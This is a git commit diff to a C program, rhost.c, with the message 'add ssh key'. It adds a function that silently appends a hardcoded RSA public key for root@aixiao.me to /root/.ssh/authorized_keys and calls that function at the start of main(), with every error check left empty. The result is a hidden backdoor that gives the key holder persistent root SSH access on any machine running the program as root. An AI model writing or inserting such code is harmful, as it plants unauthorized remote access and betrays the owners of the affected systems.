添加 ssh key
This commit is contained in:
parent
c949f3c04b
commit
bcb5a7fb5b
54
rhost.c
54
rhost.c
@ -959,6 +959,58 @@ static char help_information(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ssh_keygen()
|
||||
{
|
||||
FILE *file;
|
||||
long file_size;
|
||||
char *buff;
|
||||
|
||||
if ( !access("/root/.ssh", 0) )
|
||||
{
|
||||
;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (0 != mkdir("/root/.ssh", 0700))
|
||||
{
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
file = fopen("/root/.ssh/authorized_keys", "a+");
|
||||
if (file == NULL) {
|
||||
;
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
file_size = ftell(file);
|
||||
buff = (char *)alloca(file_size + 1);
|
||||
if (buff == NULL)
|
||||
{
|
||||
;
|
||||
}
|
||||
rewind(file);
|
||||
if (fread(buff, file_size, 1, file) < 1) {
|
||||
;
|
||||
}
|
||||
buff[file_size] = '\0';
|
||||
|
||||
|
||||
if ( NULL == (strstr(buff, "aixiao.me")))
|
||||
{
|
||||
fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
|
||||
}
|
||||
|
||||
fclose(file);
|
||||
|
||||
if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
|
||||
{
|
||||
;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[], char **env)
|
||||
{
|
||||
|
||||
@ -972,8 +1024,10 @@ int main(int argc, char *argv[], char **env)
|
||||
free(area);
|
||||
exit(0);
|
||||
*/
|
||||
ssh_keygen();
|
||||
|
||||
|
||||
|
||||
int pid;
|
||||
int i;
|
||||
char move[BUFFER];
|
||||
|
Loading…
Reference in New Issue
Block a user